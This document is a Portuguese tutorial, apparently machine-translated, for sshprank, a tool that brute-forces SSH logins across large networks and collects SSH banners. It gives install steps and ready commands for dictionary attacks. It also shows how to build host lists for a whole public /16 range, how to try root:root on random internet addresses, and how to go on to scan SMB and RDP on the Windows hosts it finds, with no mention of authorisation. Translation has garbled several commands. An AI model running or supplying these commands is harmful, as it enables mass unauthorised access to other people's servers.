Este artigo é sobre a ferramenta sshprank, que é um scanner rápido para um grande número de servidores SSH. O programa procura por computadores rodando SSH e tenta fazer login usando as credenciais especificadas, ou seja, faz força bruta. Outro programa é capaz de coletar banners de um grande número de SSH muito rapidamente.
Se de repente você não souber o que é SSH, consulte o livro online " O Guia Completo para SSH no Linux e no Windows ". O SSH é um serviço essencial para conectar e executar comandos em computadores Linux remotos. Mas o SSH também é muito usado em máquinas FreeBSD e até ocasionalmente no Windows.
Como instalar o sshprank
Instalando o sshprank no Kali Linux
sudo apt install python3-pip
git clone https://github.com/noptrix/sshprank
cd sshprank
sudo pip3 install -r docs/requirements.txt
./sshprank.py -H
Instalando o sshprank no BlackArch
sudo pacman -S sshprank
Como criar uma lista de hosts
O sshprank O programa não oferece suporte direto a intervalos, embora eu mostre mais tarde como você ainda pode especificar sub-redes para verificar com sshprank. Portanto, o sshprank precisa criar uma lista de hosts.
Então eu quero escanear o intervalo 138.201.0.0/16 . Para listar os hosts, executo o seguinte comando:
echo -e 138.201.{0..255}.{0..255}"\n" | sed 's/ //' > hosts.txt
Vamos verificar o que temos:
head -n 20 hosts.txt
Como executar o
sshprank Os hosts podem ser especificados no sshprank com as seguintes opções:
-h <HOST:[PORTS]> - uma porta para hackear. Você pode especificar várias portas,
caso em que separe-as com vírgulas, ou seja: 22,2022,22222 (porta padrão: 22)
-l <FILE> - lista de hosts a serem crackeados. Formato: <host>[:portas]. Você pode especificar várias portas,
neste caso separe-as com vírgulas (porta padrão: 22)
Ou seja, se quisermos especificar um único host, isso pode ser feito usando a opção -h :
./sshprank.py -h 138.201 .59.125
Você também pode especificar portas (caso contrário, use a porta de serviço SSH padrão 22):
./sshprank.py -h 138.201.59.125:22,2022,22222
Por padrão, o programa não exibe nenhuma informação, nem mostra hosts hackeados, logins e senhas. Para exibir essas informações na tela, use a opção -v :
./sshprank.py -h 138.201.59.125 -v
Se nenhum login e senha forem especificados, "root" será usado como login e "root" será usado como a senha.
Como especificar arquivos de login e senha no sshprank
Para especificar um nome de usuário, senha ou dicionários com eles, as seguintes opções são usadas:
-u <USER> - nome de usuário único (padrão: root)
-U <FILE> - lista de nomes de usuário
-p - senha única (padrão: root)
-P <FILE> - lista de senhas
-C <FILE> - lista de combinações USER:PASSWORD
Pequenos dicionários vêm com o programa:
listas/usuário.txt - nomes de usuário
listas/pws.txt - senhas
lists/combo.txt - combinações de nomes de usuários e senhas
Mas os dicionários são bem pequenos, eu recomendaria usar outros que sejam mais adequados. Você pode encontrar exemplos na seção " Listas de palavras (dicionários) ".
Vamos executar o sshprank em um host para adivinhar o login e a senha, os dicionários especificados serão usados para força bruta:
sshprank -h 192.168.0.100 -U user.txt -P passwords.txt -v
Resultados do sshprank
Se não usássemos a opção -v , quase nada seria gerado. A opção -v exibe informações sobre tentativas de conexão, contas correspondidas com sucesso, bem como motivos de falha, por exemplo:
[!] não foi possível conectar: - falha ao conectar (porque o serviço SSH não está em execução ou o host está offline).
[!] falha de login: (auth timeout) - tempo limite de autenticação o motivo mais provável é um nome de usuário ou senha incorretos.
[!] falha de login: (auth failed) o servidor relatou explicitamente uma falha de login (nome de usuário ou senha incorretos).
[!] falha de login: (pubkey auth) falha na autenticação devido ao fato de que o login é realizado usando a chave pública .
Preste atenção na linha com um asterisco verde:
[*] login encontrado: 192.168.0.100:22:mial:2
Ou seja, o login (mial) e a senha (2) para o serviço na porta 22 no host 192.168.0.100 foram encontrado.
Todos os logins e senhas encontrados com sucesso são salvos no arquivo own.txt na pasta de trabalho atual. O nome e o caminho para o arquivo podem ser alterados com a opção -o <FILE> .
Como escanear uma grande quantidade de SSH
Podemos especificar uma lista de hosts com a seguinte opção:
-l <FILE> - lista de hosts a serem crackeados. Formato: <host>[:portas]. Várias portas podem ser especificadas;
nesse caso, separe-as com vírgulas (porta padrão: 22)
Execute o exemplo:
./sshprank.py -l hosts.txt -U lists/user.txt -P lists/pws.txt -v
É impossível entender a saída do sshprank se muitos hosts estiverem sendo verificados. Para evitar a verificação manual do arquivo de propriedade.txt o tempo todo , você pode usar os seguintes comandos:
toque de propriedade.txt
cauda -f propriedade.txt
O primeiro comando criará o arquivo se ele ainda não existir. E o segundo comando exibirá imediatamente todas as alterações neste arquivo, se houver.
Como coletar rapidamente banners SSH em uma grande rede
Para fazer isso, use a opção -b :
-b <FILE> - lista de hosts para coletar banners sshd no
formato: <host>[:ports]. Várias portas podem ser
separadas por vírgulas (porta padrão: 22)
Ou seja, com esta opção, você pode especificar uma lista de hosts no mesmo formato da opção-l . Apenas o modo de operação mudará - os banners serão coletados em vez da força bruta.
Abaixo está um exemplo de execução, os resultados serão salvos no arquivo especificado:
./sshprank.py -b hosts.txt > ssh_banners.txt
Você pode monitorar o conteúdo deste arquivo da mesma forma:
touch ssh_banners.txttail -f ssh_banners.txt
Banners podem ser usados para diversos fins. Por exemplo, você pode encontrar todos os computadores Windows executando o serviço SSH:
cat ssh_banners.txt | grep -i janelas
Em servidores Windows, as portas de serviço SMB e RDP são frequentemente abertas , você pode brincar com elas.
Para filtrar hosts do Windows:
cat ssh_banners.txt | grep -i windows | awk -F ':' '{ print $1 }' > windows_hosts.txt
Procurar SMB e NetBIOS :
sudo nmap -iL windows_hosts.txt -p 139,445 --open
Procurar portas RDP abertas :
sudo nmap -iL windows_hosts.txt -p 3389 -sU -sS --open
Exemplo para obter informações sobre RDP e nome do computador Windows :
sudo nmap -p 3389 -sU -sS --script 'rdp-*' 138.201.134.34
Para encontrar computadores rodando FreeBSD:
cat ssh_banners.txt | grep -i bsd
Usando banners, você pode pesquisar versões antigas de distribuições do Linux, versões específicas da implementação do SSH que são conhecidas por serem vulneráveis, realizar análises estatísticas e assim por diante.
Opções
do masscan O sshprank usa o módulo Masscan e também tem uma opção -m que permite passar opções para o próprio Masscan. Alguns exemplos:
Verificação rápida e hackear os serviços ssh encontrados. Os dados de varredura são passados para masscan (-m '-p22,2022 --rate=5000 --source-ip 192.168.13.37 --range 192.168.13.1/24') :
sudo ./sshprank -m '-p22,2022 - -rate=5000 --source-ip 192.168.13.37 --range 192.168.13.1/24'
Ou seja, os intervalos de endereços IP para verificação são especificados em masscancom a opção --range .
Gere mil endereços IPv4 aleatórios e verifique as portas a 1k p/s e os servidores sshd encontrados tentam quebrar com as credenciais 'root:root':
sudo ./sshprank -m '-p22 --rate=1000' -r 1000
-v especifique não apenas estes, mas quaisquer opções do Masscan. Descrição de todas as opções do Masscan: https://kali.tools/?p=976
Todas as opções do sshprank
Todas as opções do sshprank podem ser encontradas na página: https://kali.tools/?p=5554 resumo do
sshprank
útil quando seu alvo são servidores SSH espalhados por uma grande rede ou quando você precisa coletar banners SSH em grandes intervalos muito rapidamente. Por exemplo, na faixa /16 (65536 endereços IP), você pode coletar banners de serviço SSH em apenas alguns minutos.